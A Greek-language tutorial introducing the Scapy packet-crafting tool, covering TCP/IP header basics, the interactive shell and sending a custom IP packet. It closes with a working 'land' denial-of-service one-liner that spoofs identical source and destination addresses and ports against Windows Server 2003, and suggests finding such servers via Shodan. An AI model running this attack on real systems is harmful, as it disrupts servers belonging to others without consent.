Σε αυτό το άρθρο, θα μελετήσουμε ένα ανοιχτού κώδικα εργαλείο που ονομάζεται Scapy. Το Scapy είναι ένα packet manipulation εργαλείο παρόμοιο με το nmap και το hping, αλλά σε αντίθεση με αυτά τα εργαλεία, το Scapy είναι τελείως παραμετροποιήσιμο.
Αυτό δεν σημαίνει ότι το nmap και το hping δεν μπορούν να τροποποιηθούν, αλλά η δυνατότητά τους να επεξεργαστούν είναι περιορισμένη. Το Scapy, από την άλλη πλευρά, δεν έχει σχεδόν κανένα όριο στο να το προσαρμόσετε. Αν αφιερώσετε λίγο χρόνο για να κατανοήσετε τον Scapy, θα δείτε πόσο ισχυρό εργαλείο είναι.
Table of Contents
Κατανόηση του TCP/IP
Όταν χρησιμοποιείτε ένα εργαλείο όπως το Scapy, το nmap, το hping και άλλα, είναι σημαντικό να κατανοήσετε τη δομή τόσο της επικεφαλίδας IP όσο και της επικεφαλίδας TCP. Χωρίς αυτή τη θεμελιώδη γνώση αυτών των πρωτοκόλλων, είναι σαν να προσπαθείτε να πετάξετε ένα F-16 σε μια εμπόλεμη ζώνη χωρίς βασική και θεμελιώδη εκπαίδευση πτήσης.
Επιπλέον, θα πρέπει να είστε εξοικειωμένοι με το TCP header και τα πακέτο δεδομένων.
Όσο καλύτερα κατανοείτε τη δομή αυτών των επικεφαλίδων και των πακέτων, τόσο καλύτερος χάκερ θα γίνετε. Διαφορετικά, θα περιορίζεστε στο να είστε ένα script kiddie με μερικά ισχυρά εργαλεία, αλλά χωρίς τις γνώσεις για να τα χρησιμοποιήσετε αποτελεσματικά.
Το Scapy είναι επίσης πολύ ευέλικτο. Μπορεί να προσαρμοστεί για να κάνει ARP spoofing, ARP cache poisoning, packet sniffing και ανάλυση όπως το tcpdump και το Wireshark, injecting 802.1 frames όπως το aireplay-ng, και αποκωδικοποίηση VoIP όπως το Cain and Abel. Είναι γραμμένο σε Python από τον Philipe Biondi και είναι ικανό να δημιουργεί πακέτα καθώς και να αποκωδικοποιεί πακέτα. Η σύνταξή του είναι λίγο δυσνόητη, αλλά η ισχύς του το κάνει να αξίζει να επενδύσετε το χρόνο σας για να το μάθετε.
Σε αυτό το άρθρο, θα προσπαθήσω να σας παρουσιάσω πρώτα τη σύνταξη του Scapy και στη συνέχεια θα το χρησιμοποιήσουμε για μια απλή επίθεση DoS.
Βήμα 1: Ανοίγουμε το Kali και τρέχουμε το Scapy
Ας ξεκινήσουμε ανοίγοντας το Kali και στη συνέχεια ένα τερματικό και δίνουμε την παρακάτω εντολή:
kali > scapy
Θα μας εμφανίσει μια οθόνη που μοιάζει με την παραπάνω. Παρατηρήστε την προτροπή “>>>”. Αυτό δείχνει ότι το Scapy βρίσκεται σε διαδραστική λειτουργία. Όλες οι εντολές μετά από αυτό θα είναι εντολές του Scapy και θα ερμηνεύονται από τον διερμηνέα του Scapy.
Βήμα 2: Προβολή του αρχείου ρυθμίσεων του Scapy
Τώρα που βρισκόμαστε στον διερμηνέα του Scapy, ας πληκτρολογήσουμε:
>>> conf
Όπως μπορείτε να δείτε στο παραπάνω στιγμιότυπο, το Scapy εμφανίζει το αρχείο ρυθμίσεων όταν πληκτρολογούμε “conf”. Σε ένα μεταγενέστερο οδηγό, θα δουλέψουμε με αυτό το αρχείο ρυθμίσεων στο Scapy, αλλά προς το παρόν, θέλω απλώς να ξέρετε πού βρίσκεται.
Βήμα 3: Δημιουργία πακέτου
Η ομορφιά του Scapy είναι η ικανότητά του να κατασκευάζει κατά παραγγελία οποιοδήποτε πακέτο μπορείτε να φανταστείτε. Γενικά, η στοίβα TCP/IP του λειτουργικού σας συστήματος θα δημιουργήσει ένα πακέτο συμβατό με το RFC κάθε φορά που θέλετε να επικοινωνήσετε μέσω του Διαδικτύου.
Ως χάκερ, συχνά θέλουμε να δημιουργήσουμε ένα προσαρμοσμένο/μοναδικό πακέτο που μπορεί να μην είναι συμβατό με το RFC για σκοπούς συλλογής πληροφοριών σχετικά με το στόχο μας (π.χ. σάρωση) ή πιθανόν να δημιουργήσουμε μια επίθεση DoS, δημιουργώντας ένα πακέτο που προκαλεί την κατάρρευση του συστήματος του στόχου (land attack, ping of death, fragroute, κ.λ.π.).
Ας ξεκινήσουμε λοιπόν με τη δημιουργία ενός απλού πακέτου IP. Στο Scapy, δηλώνετε πρώτα μια μεταβλητή που αντιπροσωπεύει το πακέτο σας και στη συνέχεια ορίζετε ένα προς ένα τα χαρακτηριστικά του πακέτου. Έτσι, εδώ ορίζουμε το πακέτο μας ως “x” και στη συνέχεια δίνουμε στο x πολλαπλά χαρακτηριστικά. Ας ξεκινήσουμε ορίζοντας το “x” ως ένα πακέτο IP με TTL 64.
>>> x=IP(ttl=64)
>>> x
Παρατηρήστε ότι αφού δημιούργησα τη μεταβλητή x και την όρισα ως ένα πακέτο IP με χρόνο ζωής (TTL) 64, στη συνέχεια πληκτρολόγησα ξανά τη μεταβλητή x και απάντησε με την τιμή x. Σε αυτή την περίπτωση, IP time to live = 64.
Τώρα, ας προσθέσουμε κάποια πρόσθετα χαρακτηριστικά σε αυτή τη μεταβλητή x, όπως μια διεύθυνση IP πηγής αλλά και προορισμού. Η σύνταξη είναι παρόμοια με το Wireshark ή το Tcpdump. Παρουσιάζουμε το χαρακτηριστικό IP της πηγής με x.src και το χαρακτηριστικό της IP προορισμού με x.dst ακολουθούμενο από την τιμή σε διπλά εισαγωγικά (“).
>>> x.src=”192.168.1.101″
>>> x.dst=”192.168.1.122″
Παρατηρήστε ότι μετά τον ορισμό κάθε τιμής, έλεγξα την τιμή με απλή επαναπληκτρολόγηση της μεταβλητής ακολουθούμενη από το χαρακτηριστικό.
Τώρα έχουμε δημιουργήσει ένα πακέτο με τα ακόλουθα χαρακτηριστικά:
TTL=64
Source IP is 192.168.1.101
Destination IP is 192.168.1.122
Μπορούμε να τα ελέγξουμε πληκτρολογώντας τώρα το όνομα της μεταβλητής, x, και το Scapy θα επιστρέψει τη μεταβλητή μας με τα χαρακτηριστικά της.
Βήμα 4: Ενσωματωμένες λειτουργίες
Το Scapy διαθέτει μεγάλο αριθμό ενσωματωμένων λειτουργιών. Μπορούμε να απαριθμήσουμε αυτές τις λειτουργίες πληκτρολογώντας:
>>> lsc()
Δεδομένου ότι ο κατάλογος είναι πολύ μεγάλος για να εμφανιστεί σε μία οθόνη, έχω εμφανίσει την πρώτη από αυτές τις λειτουργίες παραπάνω και την τελευταία από αυτές τις λειτουργίες παρακάτω. Σημειώστε, ορισμένες λειτουργίες δεν χωρούσαν σε καμία από τις δύο οθόνες.
Παρατηρήστε την εντολή “send” στην πρώτη γραμμή του δεύτερου στιγμιότυπου οθόνης των λειτουργιών. Αυτήν χρησιμοποιούμε όταν θέλουμε να στείλουμε ένα πακέτο. Ας τη χρησιμοποιήσουμε για να στείλουμε το πακέτο που δημιουργήσαμε παραπάνω με το όνομα “x”, το οποίο έχει τα χαρακτηριστικά TTL=64, διεύθυνση IP πηγής 192.168.1.101 και διεύθυνση iP προορισμού 192.168.1.122. Φυσικά, όταν στέλνουμε αυτό το πακέτο, θα πηγαίνει στη διεύθυνση IP προορισμού και θα έχει όριο 64 hops (TTL=64).
>>> send(x)
Όπως μπορείτε να δείτε, το ειδικά διαμορφωμένο πακέτο x στάλθηκε στη διεύθυνση IP προορισμού.
Μπορούμε να χρησιμοποιήσουμε το Scapy για να δημιουργήσουμε ένα πακέτο με σχεδόν οποιαδήποτε τιμή σε οποιοδήποτε πεδίο της επικεφαλίδας IP ή της επικεφαλίδας TCP, όπως window size, flags, fragmentation field, acknowledgement value, sequence number κ.λ.π.
Βήμα 5: Ώρα για επίθεση
Ελπίζω τώρα να έχετε καταλάβει ότι το Scapy μπορεί να χρησιμοποιηθεί για να χειριστείτε οποιοδήποτε από τα πεδία του πακέτου TCP/IP. Θα παίξουμε με μερικά από τα άλλα πεδία σε έναν επόμενο οδηγό που θα φτιάξω για το Scapy.
Τώρα, ας χρησιμοποιήσουμε αυτή τη δυνατότητα για να δημιουργήσουμε ένα κακόβουλο πακέτο και στη συνέχεια να το στείλουμε σε ένα σύστημα-στόχο. Ο Windows Server 2003 (είτε το πιστεύετε είτε όχι, υπάρχουν ακόμα χιλιάδες διακομιστές 2003 εκεί έξω- ελέγξτε το Shodan, το Censys ή χρησιμοποιήστε το Xprobe2 για να βρείτε το λειτουργικό σύστημα) είναι ευάλωτος στην επίθεση “land”. Πρόκειται για μια επίθεση DoS που στέλνει ένα μεγάλο πακέτο στο στόχο με την ίδια διεύθυνση IP πηγής και προορισμού αλλά και την ίδια θύρα πηγής και προορισμού. Δεν καταρρέει πάντα το σύστημα, αλλά το επιβραδύνει σημαντικά. Για τους διακομιστές του δικτύου, η επιβράδυνσή τους είναι ουσιαστικά ένα DoS.
Ας πραγματοποιήσουμε μια επίθεση land στο Scapy. Το Scapy μπορεί να λάβει όλα τα χαρακτηριστικά με μία μόνο εντολή. Έτσι, ας δημιουργήσουμε το πακέτο επίθεσης “land” και ας το στείλουμε 2.000 φορές. Μπορούμε να το κάνουμε αυτό πληκτρολογώντας:
>>> send(IP(src=”192.168.1.122″, dst=”192.168.1.122″)/TCP(sport=135,dport=135), count=2000)
Ας αναλύσουμε αυτή την εντολή.
-
Στέλνουμε την εντολή
-
Η IP ορίζει το πρωτόκολλο των διευθύνσεων
-
src=”192.168.1.122″ είναι η διεύθυνση IP της πηγής
-
dst=”192.168.1.122″ είναι η διεύθυνση IP του προορισμού
-
Το TCP ορίζει το πρωτόκολλο για τις θύρες
-
sport=135 ορίζει τη θύρα προέλευσης
-
dport=135 ορίζει τη θύρα προορισμού
-
count=2000 ορίζει τον αριθμό των πακέτων που θέλουμε να στείλουμε
Εάν αυτά τα πακέτα απευθύνονται σε έναν Windows Server 2003, μπορεί να προκαλέσουν κατάρρευση του συστήματος ή τουλάχιστον να το επιβραδύνουν δραματικά. Όταν ένας διακομιστής επιβραδύνεται, ουσιαστικά προκαλείται DoSes στον ιστότοπο.
Επίλογος
Το Scapy είναι ένα ακόμη ισχυρό εργαλείο σάρωσης και DoSing στην εργαλειοθήκη σας. Το Scapy είναι απίστευτα ευέλικτο, επιτρέποντάς μας να κάνουμε πολλαπλές εργασίες με αυτό το μοναδικό εργαλείο. Έχει σχεδόν απεριόριστη ικανότητα να δημιουργεί πακέτα με οποιαδήποτε χαρακτηριστικά μπορείτε να φανταστείτε και έτσι να δημιουργεί μια μοναδική τεχνική σάρωσης και επιθέσεις DoS.